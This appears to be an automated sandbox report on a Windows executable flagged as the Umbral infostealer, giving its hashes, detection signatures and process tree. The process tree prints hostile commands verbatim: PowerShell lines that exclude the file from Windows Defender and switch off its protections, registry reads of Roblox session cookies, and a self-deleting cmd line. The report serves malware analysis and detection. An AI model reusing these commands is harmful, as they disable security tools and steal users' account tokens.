Analysis
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max time kernel
208s -
max time network
212s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
09-07-2024 19:59
Behavioral task
behavioral1
Sample
OptimizedBox-DataSwap2.0.exe
Resource
win7-20240708-en
General
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Target
OptimizedBox-DataSwap2.0.exe
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Size
231KB
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MD5
cc77383b81a5c1c3e55234691e3dc519
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SHA1
2e4af74a0880635706feefde2d6a90a5d77c277c
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SHA256
7d620b8c48e10d1d76c421950d2110b7e45972a0037d81168a90658b31e4cf2d
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SHA512
573e84b86903e6465f9199c485efa7dcaa04759f0afbfa9f5737ec64123a6ebf2b109a7fa67f1ae63c05fa88cda444f96a11d9dd8e1e5da08b1aa75e056afdd2
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SSDEEP
6144:jloZM+rIkd8g+EtXHkv/iD4aphB3tW+xSkt/qqf7mkb8e1mGtAi:BoZtL+EP8aphB3tW+xSkt/qqf3ltZ
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3880-0-0x0000015B70D60000-0x0000015B70DA0000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
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Drops file in Drivers directory 1 IoCs
Processes:
OptimizedBox-DataSwap2.0.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts OptimizedBox-DataSwap2.0.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 3 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
OptimizedBox-DataSwap2.0.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3880 OptimizedBox-DataSwap2.0.exe 2560 powershell.exe 2560 powershell.exe 956 powershell.exe 956 powershell.exe 4176 powershell.exe 4176 powershell.exe 4436 powershell.exe 4436 powershell.exe 2088 powershell.exe 2088 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
OptimizedBox-DataSwap2.0.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 3880 OptimizedBox-DataSwap2.0.exe Token: SeIncreaseQuotaPrivilege 4588 wmic.exe Token: SeSecurityPrivilege 4588 wmic.exe Token: SeTakeOwnershipPrivilege 4588 wmic.exe Token: SeLoadDriverPrivilege 4588 wmic.exe Token: SeSystemProfilePrivilege 4588 wmic.exe Token: SeSystemtimePrivilege 4588 wmic.exe Token: SeProfSingleProcessPrivilege 4588 wmic.exe Token: SeIncBasePriorityPrivilege 4588 wmic.exe Token: SeCreatePagefilePrivilege 4588 wmic.exe Token: SeBackupPrivilege 4588 wmic.exe Token: SeRestorePrivilege 4588 wmic.exe Token: SeShutdownPrivilege 4588 wmic.exe Token: SeDebugPrivilege 4588 wmic.exe Token: SeSystemEnvironmentPrivilege 4588 wmic.exe Token: SeRemoteShutdownPrivilege 4588 wmic.exe Token: SeUndockPrivilege 4588 wmic.exe Token: SeManageVolumePrivilege 4588 wmic.exe Token: 33 4588 wmic.exe Token: 34 4588 wmic.exe Token: 35 4588 wmic.exe Token: 36 4588 wmic.exe Token: SeIncreaseQuotaPrivilege 4588 wmic.exe Token: SeSecurityPrivilege 4588 wmic.exe Token: SeTakeOwnershipPrivilege 4588 wmic.exe Token: SeLoadDriverPrivilege 4588 wmic.exe Token: SeSystemProfilePrivilege 4588 wmic.exe Token: SeSystemtimePrivilege 4588 wmic.exe Token: SeProfSingleProcessPrivilege 4588 wmic.exe Token: SeIncBasePriorityPrivilege 4588 wmic.exe Token: SeCreatePagefilePrivilege 4588 wmic.exe Token: SeBackupPrivilege 4588 wmic.exe Token: SeRestorePrivilege 4588 wmic.exe Token: SeShutdownPrivilege 4588 wmic.exe Token: SeDebugPrivilege 4588 wmic.exe Token: SeSystemEnvironmentPrivilege 4588 wmic.exe Token: SeRemoteShutdownPrivilege 4588 wmic.exe Token: SeUndockPrivilege 4588 wmic.exe Token: SeManageVolumePrivilege 4588 wmic.exe Token: 33 4588 wmic.exe Token: 34 4588 wmic.exe Token: 35 4588 wmic.exe Token: 36 4588 wmic.exe Token: SeDebugPrivilege 2560 powershell.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 4176 powershell.exe Token: SeDebugPrivilege 4436 powershell.exe Token: SeIncreaseQuotaPrivilege 3560 wmic.exe Token: SeSecurityPrivilege 3560 wmic.exe Token: SeTakeOwnershipPrivilege 3560 wmic.exe Token: SeLoadDriverPrivilege 3560 wmic.exe Token: SeSystemProfilePrivilege 3560 wmic.exe Token: SeSystemtimePrivilege 3560 wmic.exe Token: SeProfSingleProcessPrivilege 3560 wmic.exe Token: SeIncBasePriorityPrivilege 3560 wmic.exe Token: SeCreatePagefilePrivilege 3560 wmic.exe Token: SeBackupPrivilege 3560 wmic.exe Token: SeRestorePrivilege 3560 wmic.exe Token: SeShutdownPrivilege 3560 wmic.exe Token: SeDebugPrivilege 3560 wmic.exe Token: SeSystemEnvironmentPrivilege 3560 wmic.exe Token: SeRemoteShutdownPrivilege 3560 wmic.exe Token: SeUndockPrivilege 3560 wmic.exe Token: SeManageVolumePrivilege 3560 wmic.exe -
Suspicious use of WriteProcessMemory 26 IoCs
Processes:
OptimizedBox-DataSwap2.0.execmd.exedescription pid process target process PID 3880 wrote to memory of 4588 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 4588 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 4500 3880 OptimizedBox-DataSwap2.0.exe attrib.exe PID 3880 wrote to memory of 4500 3880 OptimizedBox-DataSwap2.0.exe attrib.exe PID 3880 wrote to memory of 2560 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 2560 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 956 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 956 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 4176 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 4176 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 4436 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 4436 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 3560 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 3560 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 3408 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 3408 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 3112 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 3112 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 2088 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 2088 3880 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3880 wrote to memory of 2640 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 2640 3880 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3880 wrote to memory of 3596 3880 OptimizedBox-DataSwap2.0.exe cmd.exe PID 3880 wrote to memory of 3596 3880 OptimizedBox-DataSwap2.0.exe cmd.exe PID 3596 wrote to memory of 1492 3596 cmd.exe PING.EXE PID 3596 wrote to memory of 1492 3596 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe"C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4588 -
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe"2⤵
- Views/modifies file attributes
PID:4500 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4436 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3560 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:3408
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:3112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2088 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2640 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe" && pause2⤵
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:1492
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4592
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
948B
MD56a29e9f9eb72c3bffbb054cd27e3ceea
SHA1d38f7c2ad68dcf1d24deca9792256ff53d5218b2
SHA2567a9f831f96b9e4843751dea3ed57ee11d70bb83a5970ddf9d6bd440f4def442c
SHA512b4826f172c6ac60ad17412a634987c45640b1b8fe03aecba26510ae224685bcd571bc4b131724036e2b502b3a8198fb69414be8c72e46f833f0601a15d313430
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5548dd08570d121a65e82abb7171cae1c
SHA11a1b5084b3a78f3acd0d811cc79dbcac121217ab
SHA256cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc
SHA51237b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD513733e403543be03f23f5e0383853b70
SHA1e4c0b0494c84cebe83603d7651a9f6e28770623d
SHA256917d654879906e6e79bcb1395a592f42de7d1f7051ecc67b62caf798eeb0d97c
SHA5123ac11bbff12c4409ebbcd86cf994df972d20516b4e16e2dfe709c7c13e5e86be3b2ac46953b59e02707597ff725fb8183a4d2a72ee76984239243e5dba46a965
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqbksyfx.nns.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2560-17-0x00007FFD72750000-0x00007FFD73211000-memory.dmpFilesize
10.8MB
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memory/2560-14-0x00007FFD72750000-0x00007FFD73211000-memory.dmpFilesize
10.8MB
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memory/2560-15-0x00007FFD72750000-0x00007FFD73211000-memory.dmpFilesize
10.8MB
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memory/2560-13-0x00007FFD72750000-0x00007FFD73211000-memory.dmpFilesize
10.8MB
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memory/2560-12-0x0000020D3BC40000-0x0000020D3BC62000-memory.dmpFilesize
136KB
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memory/3880-33-0x0000015B729E0000-0x0000015B729FE000-memory.dmpFilesize
120KB
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memory/3880-32-0x0000015B735B0000-0x0000015B73600000-memory.dmpFilesize
320KB
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memory/3880-31-0x0000015B73530000-0x0000015B735A6000-memory.dmpFilesize
472KB
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memory/3880-0-0x0000015B70D60000-0x0000015B70DA0000-memory.dmpFilesize
256KB
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memory/3880-2-0x00007FFD72750000-0x00007FFD73211000-memory.dmpFilesize
10.8MB
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memory/3880-69-0x0000015B72A10000-0x0000015B72A1A000-memory.dmpFilesize
40KB
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memory/3880-70-0x0000015B734B0000-0x0000015B734C2000-memory.dmpFilesize
72KB
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memory/3880-1-0x00007FFD72753000-0x00007FFD72755000-memory.dmpFilesize
8KB
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memory/3880-88-0x00007FFD72750000-0x00007FFD73211000-memory.dmpFilesize
10.8MB